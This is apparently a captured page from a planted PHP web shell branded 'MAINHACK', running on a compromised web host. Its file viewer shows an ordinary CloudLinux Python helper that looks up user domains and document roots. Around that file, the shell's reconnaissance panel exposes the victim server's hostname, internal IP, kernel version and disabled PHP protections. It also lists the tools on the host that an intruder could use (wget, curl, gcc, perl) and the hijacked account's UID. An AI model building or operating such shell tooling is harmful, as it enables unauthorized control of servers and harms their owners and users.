[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: cpapicustombin.py
File is not writable. Editing disabled.
# -*- coding: utf-8 -*- """ common helper functions, related to processing api using custom binary currently available for Directadmin and Plesk """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import json from typing import List, Tuple, Union, Optional from clcommon.utils import exec_utility from clcommon.clpwd import ClPwd USERDOMAINS = '/usr/share/python-cllib/userdomains' def get_domains_via_custom_binary() -> Tuple[int, Union[str, List[Tuple[str, str]]]]: """ Calls USERDOMAINS(userdomains.c) bin and returns rc and loaded json output This is equals to call `userdomains(pwd.getpwuid(os.getuid()).pw_name, as_root=True)` Returns: return code of USERDOMAINS and json output if rc == 0: `out` is out from `userdomains()` NB: there is no tuples in JSON so da_out's type is List[List[str, str]] instead of List[Tuple[str, str]] if rc != 0: `out` type is str error codes: 1: diradmin/psaadmin user not found 2: not DA/Plesk panel 3: seteuid() syscall failed 4: executed as root 10: exception during `userdomains()` call 11: no such user in panel """ rc, out = exec_utility(USERDOMAINS, []) res = json.loads(out) if rc == 0: res = list(map(lambda x: tuple(x), res)) return rc, res def _docroot_under_user_via_custom_bin(domain: str) -> Optional[ Tuple[str, str]]: """ New method for getting doc_root for domain under user Method parses /usr/local/directadmin/... user's web server config See: _get_domains_list_as_root() :return: (doc_root, username) tuple """ clpwd = ClPwd() user_pw = clpwd.get_pw_by_uid(os.getuid())[0] # domains type (if rc == 0): List[Tuple[str, str]] # domain, docroot rc, domains = get_domains_via_custom_binary() if rc != 0: return None for dom, _docroot in domains: if dom == domain: return _docroot, user_pw.pw_name return None
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.91 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A